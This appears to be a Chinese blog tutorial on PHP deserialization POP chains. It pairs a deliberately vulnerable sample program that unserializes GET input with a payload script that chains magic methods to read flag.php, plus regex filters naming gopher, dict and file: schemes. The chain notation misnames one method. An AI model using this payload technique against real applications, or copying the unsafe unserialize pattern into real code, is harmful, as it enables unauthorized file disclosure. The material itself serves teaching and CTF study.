反序列化POP链技术详解

POP( Procedure Oriented Programming )链是反序列化安全问题中相对比较重要的技术点,相比于其他的反序列化问题,这种漏洞的产生更加难以发现,以及在利用上也比较复杂。

要掌握这个东西首先要先了解面向对象中的几个特殊函数:

1. __call() 函数

当调用一个不可访问的方法时会自动调用本函数。这里的不可访问包含私有属性或未定义。

2. __get() 函数

当调用一个不可访问的属性的时候会自动调用本函数。这里的不可访问包含私有属性或未定义。

3. __set() 函数

当给不可访问的属性进行赋值的时候会自动运行本函数。

4. __toString() 函数

当将当前对象以字符串的形式进行输出时会执行这个函数中的代码。

5. __destruct() 函数

当对象操作执行完毕后自动执行__destruct()函数的代码。

6. __wakeup() 函数

在进行反序列化的时候会优先调用本函数。

7. __construct() 函数

初始化函数又叫构造函数,用来在创建对象的时候进行一些初始化操作,如执行函数、初始化变量。

这里我用一个网上的程序来讲一下,因为这个例子比较简单,适合刚接触的同学研究。过段时间会拿一个赛题来具体讲一下。

class C1e4r{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}class Show{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}class Test{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)

{

return $this->get($key);

}

public function get($key)

{

if(isset($this->params[$key])) {

$value = $this->params[$key];

} else {

$value = "index.php";

}

return $this->file_get($value);

}

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

}

$name=unserialize($_GET[strs]);

POP链的主要内容就是对象中的各个函数间的调用关系链,将每个函数的调用关系拼接起来就是我们的 POP 链。

那么根据这个思维来看上面的程序,我们首先确定好要调用Test类中的 file_get 方法来读取文件内容,为此我们需要使用 Test 类中的 get 方法来调用 file_get 方法,接下来发现 Test 类中的 __get 方法可以调用 get 方法从而调用 file_get 来读取文件。

那么现在的POP链就是:

Test::__get()->Test::get()->Test::get_file()

下面继续寻找能够触发__get()方法的途径。在 Show 类中看见有个 __toString 方法,其中能够调用一个属性进行赋值操作,这里可以触发 __get 方法,所以这里需要将创建的 Test 对象赋值给 $this->str['str'] ,那么如何去触发 __toString 方法?这里可以通过 C1e4r 类中的 __destruct 进行触发。

那么现在的POP链就很明了了 , 这里给的是逆向关系链。

((Test::__get()->Test::get()->Test::get_file())->Show::str[‘str’])->C1e4r::str

接下来构造利用脚本

<?php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $str;
public $source;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test{
public $file;
public $params;
}
$T=new Test();
$T->params=array('source'=>'flag.php');
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>
  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值